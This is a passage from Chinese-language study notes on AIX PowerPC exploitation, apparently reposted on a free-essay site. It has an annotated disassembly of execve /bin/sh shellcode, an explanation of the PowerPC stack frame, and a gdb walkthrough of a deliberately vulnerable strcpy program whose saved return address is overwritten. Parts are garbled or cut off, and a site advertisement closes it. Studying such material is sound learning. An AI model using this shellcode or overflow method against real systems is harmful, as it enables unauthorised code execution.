\ \ \ \ ;
int main(void) {
int jump[2]={(int)shellcode,0}; ((*(void (*)())jump)()); }
编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:
.data:200006D8 XREF: .data:200006DCp
.data:200006D8 XREF: .data:shellcode_TCo
.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
.data:200006DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
.data:200006E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31
.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31等于.data:20000800 .data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3等于.data:20000708 .data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4等于.data:20000710 .data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # 把地址.data:20000708放到.data:20000710
.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # 把0放到.data:20000714 .data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31) # 读入execve的中断号到r2寄存器
.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # .data:2000070F写入一个字节0
.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data:20000704 44 .byte 0x44 # execve(r3, r4, r5)
.data:20000705 FF .byte 0xFF # execve(path, argv[], NULL) .data:20000706 FF .byte 0xFF .data:20000707 02 .byte 2 .data:20000708 2F .byte 0x2F # / .data:20000709 62 .byte 0x62 # b .data:2000070A 69 .byte 0x69 # i
#
DATA
shellcode: #
CODE
.data:2000070B 6E .byte 0x6E # n .data:2000070C 2F .byte 0x2F # / .data:2000070D 73 .byte 0x73 # s .data:2000070E 68 .byte 0x68 # h .data:2000070F 03 .byte 5
至此,我们了解了AIX PowerPC下如何简单的调试shellcode。
四、学习AIX PowerPC的溢出技术
要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。32位PowerPC的堆栈结构如下图:
. 调用前的堆栈 . . 调用后的堆栈 . . . . . | | | | +----------------+- +----------------+- | Parameter area | | | Parameter area | |
+----------------+ +-调用函数 +----------------+ +-调用函数 | Linkage area | | | Linkage area | | SP --->+----------------+- +----------------+- | 堆栈增长方向 | | Saved registers| | . | . +----------------+ | . v . | Local variables| |
+----------------+ +-被调函数 | Parameter area | | +----------------+ | | Linkage area | | SP --->+----------------+- | 堆栈增长方向 | . | . . v .
每个PowerPC的栈帧数据包含4个部分:链接区、参数区、本地变量和寄存器区。
链接区保存了被调函数和调用函数的一些值,它的结构如下:
+24+----------------+ | Saved TOC | +20+----------------+ | Reserved | +16+----------------+
| Reserved | +12+----------------+ | Saved LR | +8+----------------+ | Saved CR | +4+----------------+ | Saved SP | SP --->+----------------+
被调函数的链接寄存器(LR)保存到8(SP)。
被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。 堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。 全局链接代码会把TOC指针保存到20(SP)的地方。
参数区用来传递其它被调函数的参数。当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。
如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。它的大小在编译的时候确定,是不可修改的。
寄存器区包含非易失性寄存器的值。当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。当然,被调函数返回的时候需要恢复这些寄存器的值。
ia32中当函数返回时,一般都有如下三条指令:
mov esp,ebp ; 堆栈指针esp指向前一个栈帧 pop ebp
ret ; 执行esp+4保存的返回地址
AIX PowerPC中当函数返回时,一般有如下几条指令:
lwz r1,0(r1) # 堆栈指针r1指向前一个栈帧 lwz r0,8(r1) # r0等于堆栈里保存的lr值 mtlr r0 # lr=r0 lwz r31,-4(r1) #
blr # 跳到lr执行
可以看到虽然AIX PowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。
文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:
-bash-2.05b$ cat simple_overflow.c /* simple_overflow.c *
* Simple program to demonstrate buffer overflows * on the PowerPC architecture. */
#include
\int main (void) {
char smallbuff[16];
strcpy (smallbuff, largebuff); }
-bash-2.05b$ gcc -o simple_overflow simple_overflow.c -bash-2.05b$ gdb -q simple_overflow (gdb) r
Starting program: /home/san/simple_overflow
Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) i reg
r0 0x41424344 1094861636 r1 0x2ff22bb0 804400048 r2 0x20000e70 536874608 r3 0x20 32
r4 0x20000534 536872244 r5 0x2ff22bbc 804400060 r6 0x0 0 r7 0x0 0 r8 0x0 0
r9 0x80808080 -2139062144 r10 0x7f7f7f7f 2139062143 r11 0x4 4
r12 0x80808080 -2139062144 r13 0xdeadbeef -559038737 r14 0x1 1
r15 0x2ff22c00 804400128 r16 0x2ff22c08 804400136 r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737 r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000460 536872032 r29 0x10000000 268435456 r30 0x3 3
r31 0x53455256 1397051990 pc 0x41424344 1094861636 ps 0x4000d032 1073795122 cr 0x22222842 572663874 lr 0x41424344 1094861636 ctr 0x4 4 xer 0x0 0 fpscr 0x0 0 vscr 0x0 0 vrsave 0x0 0 (gdb) x/8x $r1
0x2ff22bb0: 0x45445350 0x4143453d 0x41424344 0x00000000 0x2ff22bc0: 0x00000000 0x20000e70 0x00000000 0x00000000
pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD的:
(gdb) disas main
Dump of assembler code for function main: 0x1000054c
0x10000550
0x10000568
0x10000570
0x10000580
百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,免费范文网,提供经典小说综合文库AIX PowerPC体系结构及其溢出技术学习笔记(2)在线全文阅读。
相关推荐: